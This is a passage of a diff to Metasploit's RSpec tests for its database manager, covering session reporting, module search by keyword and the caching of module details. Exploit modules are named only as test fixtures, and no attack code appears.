description + options[:last_seen] = last_seen + options[:opened_at] = opened_at + options[:platform] = platform + options[:routes] = routes + options[:stype] = session_type + options[:via_payload] = payload_full_name + options[:via_exploit] = exploit_full_name + end + + subject(:mdm_session) do + report_session + end + + its(:close_reason) { should == close_reason } + its(:desc) { should == description } + its(:host) { should == host } + its(:platform) { should == platform } + its(:stype) { should == session_type } + its(:via_exploit) { should == exploit_full_name } + its(:via_payload) { should == payload_full_name } + + context 'with :last_seen' do + let(:last_seen) do + opened_at + end + + its(:last_seen) { should == last_seen } + end + + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:closed_at) { should == closed_at } + end + + context 'without :closed_at' do + its(:closed_at) { should == nil } + end + + context 'without :last_seen' do + context 'with :closed_at' do + let(:closed_at) do + opened_at + 1.minute + end + + its(:last_seen) { should == closed_at } + end + + context 'without :closed_at' do + its(:last_seen) { should be_nil } + end + end + + context 'with :routes' do + let(:routes) do + FactoryGirl.build_list( + :mdm_route, + 1, + :session => nil + ) + end + + its(:routes) { should == routes } + end + + context 'without :routes' do + its(:routes) { should == [] } + end + end + end + + context 'without Mdm::Host' do + let(:host) do + '192.168.0.1' + end + + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError, "Invalid :host, expected Host object") + end + end + end + + context 'without :host' do + it 'should raise ArgumentError' do + expect { + report_session + }.to raise_error(ArgumentError) + end + end + end + end + + context 'without active' do + let(:active) do + false + end + + it { should be_nil } + + it 'should not create a connection' do + # 1st time for with_established_connection + ActiveRecord::Base.connection_pool.should_receive(:with_connection).once + + report_session + end + end + end + + context '#remove_module_details' do + def remove_module_details + db_manager.remove_module_details(mtype, refname) + end + + let(:migrated) do + false + end + + let(:mtype) do + FactoryGirl.generate :mdm_module_detail_mtype + end + + let(:refname) do + FactoryGirl.generate :mdm_module_detail_refname + end + + let!(:module_detail) do + FactoryGirl.create( + :mdm_module_detail + ) + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let!(:module_detail) do + FactoryGirl.create(:mdm_module_detail) + end + + context 'with matching Mdm::Module::Detail' do + let(:mtype) do + module_detail.mtype + end + + let(:refname) do + module_detail.refname + end + + it 'should destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to change(Mdm::Module::Detail, :count).by(-1) + end + end + + context 'without matching Mdm::Module::Detail' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context 'without migrated' do + it 'should not destroy Mdm::Module::Detail' do + expect { + remove_module_details + }.to_not change(Mdm::Module::Detail, :count) + end + end + end + + context '#search_modules' do subject(:search_modules) do db_manager.search_modules(search_string) end - let(:module_details) do - search_modules.to_a - end + let(:module_details) do + search_modules.to_a + end - context 'with app keyword' do - let(:search_string) do - "app:#{app}" - end + context 'with app keyword' do + let(:search_string) do + "app:#{app}" + end - before(:each) do - Mdm::Module::Detail::STANCES.each do |stance| - FactoryGirl.create(:mdm_module_detail, :stance => stance) - end - end + before(:each) do + Mdm::Module::Detail::STANCES.each do |stance| + FactoryGirl.create(:mdm_module_detail, :stance => stance) + end + end - context 'with client' do - let(:app) do - 'client' - end + context 'with client' do + let(:app) do + 'client' + end - it "should match Mdm::Module::Detail#stance 'passive'" do - module_details.count.should > 0 + it "should match Mdm::Module::Detail#stance 'passive'" do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.stance == 'passive' - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.stance == 'passive' + }.should be_true + end + end - context 'with server' do - let(:app) do - 'server' - end + context 'with server' do + let(:app) do + 'server' + end - it "should match Mdm::Module::Detail#stance 'aggressive'" do - module_details.count.should > 0 + it "should match Mdm::Module::Detail#stance 'aggressive'" do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.stance == 'aggressive' - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.stance == 'aggressive' + }.should be_true + end + end + end - context 'with author keyword' do - let(:search_string) do + context 'with author keyword' do + let(:search_string) do # us inspect so strings with spaces are quoted correctly - "author:#{author}" - end + "author:#{author}" + end - let!(:module_authors) do - FactoryGirl.create_list(:mdm_module_author, 2) - end + let!(:module_authors) do + FactoryGirl.create_list(:mdm_module_author, 2) + end - let(:target_module_author) do - module_authors.first - end + let(:target_module_author) do + module_authors.first + end - context 'with Mdm::Module::Author#email' do - let(:author) do - target_module_author.email - end + context 'with Mdm::Module::Author#email' do + let(:author) do + target_module_author.email + end - it 'should match Mdm::Module::Author#email' do - module_details.count.should > 0 + it 'should match Mdm::Module::Author#email' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.email == target_module_author.email - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.email == target_module_author.email + } + }.should be_true + end + end - context 'with Mdm::Module::Author#name' do + context 'with Mdm::Module::Author#name' do let(:author) do # use inspect to quote space in name target_module_author.name.inspect end - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == target_module_author.name - } - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == target_module_author.name + } + }.should be_true + end + end + end - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :bid + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :cve + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :edb - context 'with name keyword' do - let(:search_string) do - "name:#{name}" - end + context 'with name keyword' do + let(:search_string) do + "name:#{name}" + end - let!(:existing_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end + let!(:existing_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end - let(:target_module_detail) do - existing_module_details.first - end + let(:target_module_detail) do + existing_module_details.first + end - context 'with Mdm::Module::Detail#fullname' do - let(:name) do - target_module_detail.fullname - end + context 'with Mdm::Module::Detail#fullname' do + let(:name) do + target_module_detail.fullname + end - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.fullname == target_module_detail.fullname - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.fullname == target_module_detail.fullname + }.should be_true + end + end - context 'with Mdm::Module::Detail#name' do - let(:name) do + context 'with Mdm::Module::Detail#name' do + let(:name) do # use inspect so spaces are inside quotes - target_module_detail.name.inspect - end + target_module_detail.name.inspect + end - it 'should match Mdm::Module::Detail#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :os - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Ref#name keyword', :osvdb - it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform + it_should_behave_like 'Msf::DBManager#search_modules Mdm::Module::Platform#name or Mdm::Module::Target#name keyword', :platform - context 'with ref keyword' do - let(:ref) do - FactoryGirl.generate :mdm_module_ref_name - end + context 'with ref keyword' do + let(:ref) do + FactoryGirl.generate :mdm_module_ref_name + end - let(:search_string) do + let(:search_string) do # use inspect to quote spaces in string - "ref:#{ref.inspect}" - end + "ref:#{ref.inspect}" + end - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end - context 'with Mdm::Module::Ref#name' do - let(:ref) do - module_ref.name - end + context 'with Mdm::Module::Ref#name' do + let(:ref) do + module_ref.name + end - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == ref - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == ref + } + }.should be_true + end + end - context 'without Mdm::Module::Ref#name' do - it 'should not match Mdm::Module::Ref#name' do - module_details.count.should == 0 - end - end - end + context 'without Mdm::Module::Ref#name' do + it 'should not match Mdm::Module::Ref#name' do + module_details.count.should == 0 + end + end + end - context 'with type keyword' do - let(:type) do - FactoryGirl.generate :mdm_module_detail_mtype - end + context 'with type keyword' do + let(:type) do + FactoryGirl.generate :mdm_module_detail_mtype + end - let(:search_string) do - "type:#{type}" - end + let(:search_string) do + "type:#{type}" + end - let(:target_module_detail) do - all_module_details.first - end + let(:target_module_detail) do + all_module_details.first + end - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 2) - end + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 2) + end - context 'with Mdm::Module::Ref#name' do - let(:type) do - target_module_detail.mtype - end + context 'with Mdm::Module::Ref#name' do + let(:type) do + target_module_detail.mtype + end - it 'should match Mdm::Module::Detail#mtype' do - module_details.count.should > 0 + it 'should match Mdm::Module::Detail#mtype' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.mtype == type - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.mtype == type + }.should be_true + end + end - context 'without Mdm::Module::Detail#mtype' do - it 'should not match Mdm::Module::Detail#mtype' do - module_details.count.should == 0 - end - end - end + context 'without Mdm::Module::Detail#mtype' do + it 'should not match Mdm::Module::Detail#mtype' do + module_details.count.should == 0 + end + end + end - context 'without keyword' do - context 'with Mdm::Module::Action#name' do - let(:search_string) do - module_action.name - end + context 'without keyword' do + context 'with Mdm::Module::Action#name' do + let(:search_string) do + module_action.name + end - let!(:module_action) do - FactoryGirl.create(:mdm_module_action) - end + let!(:module_action) do + FactoryGirl.create(:mdm_module_action) + end - it 'should match Mdm::Module::Action#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Action#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.actions.any? { |module_action| - module_action.name == search_string - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.actions.any? { |module_action| + module_action.name == search_string + } + }.should be_true + end + end - context 'with Mdm::Module::Arch#name' do - let(:search_string) do - module_arch.name - end + context 'with Mdm::Module::Arch#name' do + let(:search_string) do + module_arch.name + end - let!(:module_arch) do - FactoryGirl.create(:mdm_module_arch) - end + let!(:module_arch) do + FactoryGirl.create(:mdm_module_arch) + end - it 'should match Mdm::Module::Arch#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Arch#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.archs.any? { |module_arch| - module_arch.name == search_string - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.archs.any? { |module_arch| + module_arch.name == search_string + } + }.should be_true + end + end - context 'with Mdm::Module::Author#name' do - let(:search_string) do - module_author.name - end + context 'with Mdm::Module::Author#name' do + let(:search_string) do + module_author.name + end - let!(:module_author) do - FactoryGirl.create(:mdm_module_author) - end + let!(:module_author) do + FactoryGirl.create(:mdm_module_author) + end - it 'should match Mdm::Module::Author#name' do - module_details.count.should > 0 + it 'should match Mdm::Module::Author#name' do + module_details.count.should > 0 - module_details.all? { |module_detail| - module_detail.authors.any? { |module_author| - module_author.name == search_string - } - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.authors.any? { |module_author| + module_author.name == search_string + } + }.should be_true + end + end - context 'with Mdm::Module::Detail' do - let(:target_module_detail) do - all_module_details.first - end + context 'with Mdm::Module::Detail' do + let(:target_module_detail) do + all_module_details.first + end - let!(:all_module_details) do - FactoryGirl.create_list(:mdm_module_detail, 3) - end + let!(:all_module_details) do + FactoryGirl.create_list(:mdm_module_detail, 3) + end - context 'with #description' do - let(:search_string) do + context 'with #description' do + let(:search_string) do # use inspect to quote spaces in string - target_module_detail.description.inspect - end + target_module_detail.description.inspect + end - it 'should match Mdm::Module::Detail#description' do - module_details.count.should == 1 + it 'should match Mdm::Module::Detail#description' do + module_details.count.should == 1 - module_details.all? { |module_detail| - module_detail.description == target_module_detail.description - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.description == target_module_detail.description + }.should be_true + end + end - context 'with #fullname' do - let(:search_string) do - target_module_detail.fullname - end + context 'with #fullname' do + let(:search_string) do + target_module_detail.fullname + end - it 'should match Mdm::Module::Detail#fullname' do - module_details.count.should == 1 + it 'should match Mdm::Module::Detail#fullname' do + module_details.count.should == 1 - module_details.all? { |module_detail| - module_detail.fullname == search_string - }.should be_true - end - end + module_details.all? { |module_detail| + module_detail.fullname == search_string + }.should be_true + end + end - context 'with #name' do - let(:search_string) do + context 'with #name' do + let(:search_string) do # use inspect to quote spaces in string - target_module_detail.name.inspect - end - - it 'should match Mdm::Module::Detail#name' do - module_details.count.should == 1 - - module_details.all? { |module_detail| - module_detail.name == target_module_detail.name - }.should be_true - end - end - end - - context 'with Mdm::Module::Platform#name' do - let(:search_string) do - module_platform.name - end - - let!(:module_platform) do - FactoryGirl.create(:mdm_module_platform) - end - - it 'should match Mdm::Module::Platform#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.platforms.any? { |module_platform| - module_platform.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Ref#name' do - let(:search_string) do - module_ref.name - end - - let!(:module_ref) do - FactoryGirl.create(:mdm_module_ref) - end - - it 'should match Mdm::Module::Ref#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.refs.any? { |module_ref| - module_ref.name == search_string - } - }.should be_true - end - end - - context 'with Mdm::Module::Target#name' do - let(:search_string) do - module_target.name - end - - let!(:module_target) do - FactoryGirl.create(:mdm_module_target) - end - - it 'should match Mdm::Module::Target#name' do - module_details.count.should > 0 - - module_details.all? { |module_detail| - module_detail.targets.any? { |module_target| - module_target.name == search_string - } - }.should be_true - end - end - end - end - - context '#update_all_module_details' do - def update_all_module_details - db_manager.update_all_module_details - end - - let(:migrated) do - false - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - let(:modules_caching) do - true - end - - before(:each) do - db_manager.stub(:modules_caching => modules_caching) - end - - context 'with modules_caching' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without modules_caching' do - let(:modules_caching) do - false - end - - it 'should create a connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original - - update_all_module_details - end - - it 'should set framework.cache_thread to current thread and then nil around connection' do - framework.should_receive(:cache_thread=).with(Thread.current).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - framework.should_receive(:cache_thread=).with(nil).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_cached to false and then true around connection' do - db_manager.should_receive(:modules_cached=).with(false).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_cached=).with(true).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - it 'should set modules_caching to true and then false around connection' do - db_manager.should_receive(:modules_caching=).with(true).ordered - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered - db_manager.should_receive(:modules_caching=).with(false).ordered - - update_all_module_details - - ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original - end - - context 'with Mdm::Module::Details' do - let(:module_pathname) do - parent_pathname.join( - 'exploits', - "#{reference_name}.rb" - ) - end - - let(:modification_time) do - module_pathname.mtime - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - let!(:module_detail) do - # needs to reference a real module so that it can be loaded - FactoryGirl.create( - :mdm_module_detail, - :file => module_pathname.to_path, - :mtime => modification_time, - :mtype => type, - :ready => ready, - :refname => reference_name - ) - end - - context '#ready' do - context 'false' do - let(:ready) do - false - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - - context 'true' do - let(:ready) do - true - end - - context 'with existing Mdm::Module::Detail#file' do - context 'with same Mdm::Module::Detail#mtime and File.mtime' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - - context 'without same Mdm::Module::Detail#mtime and File.mtime' do - let(:modification_time) do - # +1 as rand can return 0 and the time must be different for - # this context. - super() - (rand(1.day) + 1) - end - - it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' - end - end - - # Emulates a module being removed or renamed - context 'without existing Mdm::Module::Detail#file' do - # have to compute modification manually since the - # `module_pathname` refers to a non-existent file and - # `module_pathname.mtime` would error. - let(:modification_time) do - Time.now.utc - 1.day - end - - let(:module_pathname) do - parent_pathname.join('exploits', 'deleted.rb') - end - - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - end - end - end - end - - context 'without migrated' do - it 'should not update module details' do - db_manager.should_not_receive(:update_module_details) - - update_all_module_details - end - end - end - - context '#update_module_details' do - def update_module_details - db_manager.update_module_details(module_instance) - end - - let(:loader) do - loader = framework.modules.send(:loaders).find { |loader| - loader.loadable?(parent_path) - } - - # Override load_error so that rspec will print it instead of going to framework log - def loader.load_error(module_path, error) - raise error - end - - loader - end - - let(:migrated) do - false - end - - let(:module_instance) do - # make sure the module is loaded into the module_set - loaded = loader.load_module(parent_path, module_type, module_reference_name) - - unless loaded - module_path = loader.module_path(parent_path, type, module_reference_name) - - fail "#{description} failed to load: #{module_path}" - end - - module_set.create(module_reference_name) - end - - let(:module_set) do - framework.modules.module_set(module_type) - end - - let(:module_type) do - 'exploit' - end - - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:parent_path) do - parent_pathname.to_path - end - - let(:parent_pathname) do - Metasploit::Framework.root.join('modules') - end - - let(:type_directory) do - 'exploits' - end - - before(:each) do - db_manager.stub(:migrated => migrated) - end - - context 'with migrated' do - let(:migrated) do - true - end - - it 'should create connection' do - ActiveRecord::Base.connection_pool.should_receive(:with_connection) - ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original - - update_module_details - end - - it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do - db_manager.should_receive(:module_to_details_hash).and_call_original - - update_module_details - end - - it 'should create an Mdm::Module::Detail' do - expect { - update_module_details - }.to change(Mdm::Module::Detail, :count).by(1) - end - - - context 'module_to_details_hash' do - let(:module_to_details_hash) do - { - :mtype => module_type, - :privileged => privileged, - :rank => rank, - :refname => module_reference_name, - :stance => stance - } - end - - let(:privileged) do - FactoryGirl.generate :mdm_module_detail_privileged - end - - let(:rank) do - FactoryGirl.generate :mdm_module_detail_rank - end - - let(:stance) do - FactoryGirl.generate :mdm_module_detail_stance - end - - before(:each) do - db_manager.stub( - :module_to_details_hash - ).with( - module_instance - ).and_return( - module_to_details_hash - ) - end - - context 'Mdm::Module::Detail' do - subject(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:mtype) { should == module_type } - its(:privileged) { should == privileged } - its(:rank) { should == rank } - its(:ready) { should == true } - its(:refname) { should == module_reference_name } - its(:stance) { should == stance } - end - - context 'with :bits' do - let(:bits) do - [] - end - - before(:each) do - module_to_details_hash[:bits] = bits - end - - context 'with :action' do - let(:name) do - FactoryGirl.generate :mdm_module_action_name - end - - let(:bits) do - super() << [ - :action, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Action' do - expect { - update_module_details - }.to change(Mdm::Module::Action, :count).by(1) - end - - context 'Mdm::Module::Action' do - subject(:module_action) do - module_detail.actions.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :arch' do - let(:name) do - FactoryGirl.generate :mdm_module_arch_name - end - - let(:bits) do - super() << [ - :arch, - { - :name => name - } - ] - end - - it 'should create an Mdm::Module::Arch' do - expect { - update_module_details - }.to change(Mdm::Module::Arch, :count).by(1) - end - - context 'Mdm::Module::Arch' do - subject(:module_arch) do - module_detail.archs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :author' do - let(:email) do - FactoryGirl.generate :mdm_module_author_email - end - - let(:name) do - FactoryGirl.generate :mdm_module_author_name - end - - let(:bits) do - super() << [ - :author, - { - :email => email, - :name => name - } - ] - end - - it 'should create an Mdm::Module::Author' do - expect { - update_module_details - }.to change(Mdm::Module::Author, :count).by(1) - end - - context 'Mdm::Module::Author' do - subject(:module_author) do - module_detail.authors.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - its(:email) { should == email } - end - end - - context 'with :platform' do - let(:bits) do - super() << [ - :platform, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_platform_name - end - - it 'should create an Mdm::Module::Platform' do - expect { - update_module_details - }.to change(Mdm::Module::Platform, :count).by(1) - end - - context 'Mdm::Module::Platform' do - subject(:module_platform) do - module_detail.platforms.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :ref' do - let(:bits) do - super() << [ - :ref, - { - :name => name - } - ] - end - - let(:name) do - FactoryGirl.generate :mdm_module_ref_name - end - - it 'should create an Mdm::Module::Ref' do - expect { - update_module_details - }.to change(Mdm::Module::Ref, :count).by(1) - end - - context 'Mdm::Module::Ref' do - subject(:module_ref) do - module_detail.refs.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:name) { should == name } - end - end - - context 'with :target' do - let(:bits) do - super() << [ - :target, - { - :index => index, - :name => name - } - ] - end - - let(:index) do - FactoryGirl.generate :mdm_module_target_index - end - - let(:name) do - FactoryGirl.generate :mdm_module_target_name - end - - it 'should create an Mdm::Module::Target' do - expect { - update_module_details - }.to change(Mdm::Module::Target, :count).by(1) - end - - context 'Mdm::Module::Target' do - subject(:module_target) do - module_detail.targets.last - end - - let(:module_detail) do - Mdm::Module::Detail.last - end - - before(:each) do - update_module_details - end - - its(:index) { should == index } - its(:name) { should == name } - end - end - end - end - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'admin/2wire/xslt_password_reset', - :type => 'auxiliary' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'generic/none', - :type => 'encoder' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'windows/smb/ms08_067_netapi', - :type => 'exploit' - - it_should_behave_like 'Msf::DBManager#update_module_details with module', - :reference_name => 'x64/simple', - :type => 'nop' - - # @todo determine how to load a single payload to test payload type outside of msfconsole + target_module_detail.name.inspect + end + + it 'should match Mdm::Module::Detail#name' do + module_details.count.should == 1 + + module_details.all? { |module_detail| + module_detail.name == target_module_detail.name + }.should be_true + end + end + end + + context 'with Mdm::Module::Platform#name' do + let(:search_string) do + module_platform.name + end + + let!(:module_platform) do + FactoryGirl.create(:mdm_module_platform) + end + + it 'should match Mdm::Module::Platform#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.platforms.any? { |module_platform| + module_platform.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Ref#name' do + let(:search_string) do + module_ref.name + end + + let!(:module_ref) do + FactoryGirl.create(:mdm_module_ref) + end + + it 'should match Mdm::Module::Ref#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.refs.any? { |module_ref| + module_ref.name == search_string + } + }.should be_true + end + end + + context 'with Mdm::Module::Target#name' do + let(:search_string) do + module_target.name + end + + let!(:module_target) do + FactoryGirl.create(:mdm_module_target) + end + + it 'should match Mdm::Module::Target#name' do + module_details.count.should > 0 + + module_details.all? { |module_detail| + module_detail.targets.any? { |module_target| + module_target.name == search_string + } + }.should be_true + end + end + end + end + + context '#update_all_module_details' do + def update_all_module_details + db_manager.update_all_module_details + end + + let(:migrated) do + false + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + let(:modules_caching) do + true + end + + before(:each) do + db_manager.stub(:modules_caching => modules_caching) + end + + context 'with modules_caching' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without modules_caching' do + let(:modules_caching) do + false + end + + it 'should create a connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection).twice.and_call_original + + update_all_module_details + end + + it 'should set framework.cache_thread to current thread and then nil around connection' do + framework.should_receive(:cache_thread=).with(Thread.current).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + framework.should_receive(:cache_thread=).with(nil).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_cached to false and then true around connection' do + db_manager.should_receive(:modules_cached=).with(false).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_cached=).with(true).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + it 'should set modules_caching to true and then false around connection' do + db_manager.should_receive(:modules_caching=).with(true).ordered + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered + db_manager.should_receive(:modules_caching=).with(false).ordered + + update_all_module_details + + ActiveRecord::Base.connection_pool.should_receive(:with_connection).ordered.and_call_original + end + + context 'with Mdm::Module::Details' do + let(:module_pathname) do + parent_pathname.join( + 'exploits', + "#{reference_name}.rb" + ) + end + + let(:modification_time) do + module_pathname.mtime + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + let!(:module_detail) do + # needs to reference a real module so that it can be loaded + FactoryGirl.create( + :mdm_module_detail, + :file => module_pathname.to_path, + :mtime => modification_time, + :mtype => type, + :ready => ready, + :refname => reference_name + ) + end + + context '#ready' do + context 'false' do + let(:ready) do + false + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + + context 'true' do + let(:ready) do + true + end + + context 'with existing Mdm::Module::Detail#file' do + context 'with same Mdm::Module::Detail#mtime and File.mtime' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + + context 'without same Mdm::Module::Detail#mtime and File.mtime' do + let(:modification_time) do + # +1 as rand can return 0 and the time must be different for + # this context. + super() - (rand(1.day) + 1) + end + + it_should_behave_like 'Msf::DBManager#update_all_module_details refresh' + end + end + + # Emulates a module being removed or renamed + context 'without existing Mdm::Module::Detail#file' do + # have to compute modification manually since the + # `module_pathname` refers to a non-existent file and + # `module_pathname.mtime` would error. + let(:modification_time) do + Time.now.utc - 1.day + end + + let(:module_pathname) do + parent_pathname.join('exploits', 'deleted.rb') + end + + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + end + end + end + end + + context 'without migrated' do + it 'should not update module details' do + db_manager.should_not_receive(:update_module_details) + + update_all_module_details + end + end + end + + context '#update_module_details' do + def update_module_details + db_manager.update_module_details(module_instance) + end + + let(:loader) do + loader = framework.modules.send(:loaders).find { |loader| + loader.loadable?(parent_path) + } + + # Override load_error so that rspec will print it instead of going to framework log + def loader.load_error(module_path, error) + raise error + end + + loader + end + + let(:migrated) do + false + end + + let(:module_instance) do + # make sure the module is loaded into the module_set + loaded = loader.load_module(parent_path, module_type, module_reference_name) + + unless loaded + module_path = loader.module_path(parent_path, type, module_reference_name) + + fail "#{description} failed to load: #{module_path}" + end + + module_set.create(module_reference_name) + end + + let(:module_set) do + framework.modules.module_set(module_type) + end + + let(:module_type) do + 'exploit' + end + + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:parent_path) do + parent_pathname.to_path + end + + let(:parent_pathname) do + Metasploit::Framework.root.join('modules') + end + + let(:type_directory) do + 'exploits' + end + + before(:each) do + db_manager.stub(:migrated => migrated) + end + + context 'with migrated' do + let(:migrated) do + true + end + + it 'should create connection' do + ActiveRecord::Base.connection_pool.should_receive(:with_connection) + ActiveRecord::Base.connection_pool.should_receive(:with_connection).and_call_original + + update_module_details + end + + it 'should call module_to_details_hash to get Mdm::Module::Detail attributes and association attributes' do + db_manager.should_receive(:module_to_details_hash).and_call_original + + update_module_details + end + + it 'should create an Mdm::Module::Detail' do + expect { + update_module_details + }.to change(Mdm::Module::Detail, :count).by(1) + end + + + context 'module_to_details_hash' do + let(:module_to_details_hash) do + { + :mtype => module_type, + :privileged => privileged, + :rank => rank, + :refname => module_reference_name, + :stance => stance + } + end + + let(:privileged) do + FactoryGirl.generate :mdm_module_detail_privileged + end + + let(:rank) do + FactoryGirl.generate :mdm_module_detail_rank + end + + let(:stance) do + FactoryGirl.generate :mdm_module_detail_stance + end + + before(:each) do + db_manager.stub( + :module_to_details_hash + ).with( + module_instance + ).and_return( + module_to_details_hash + ) + 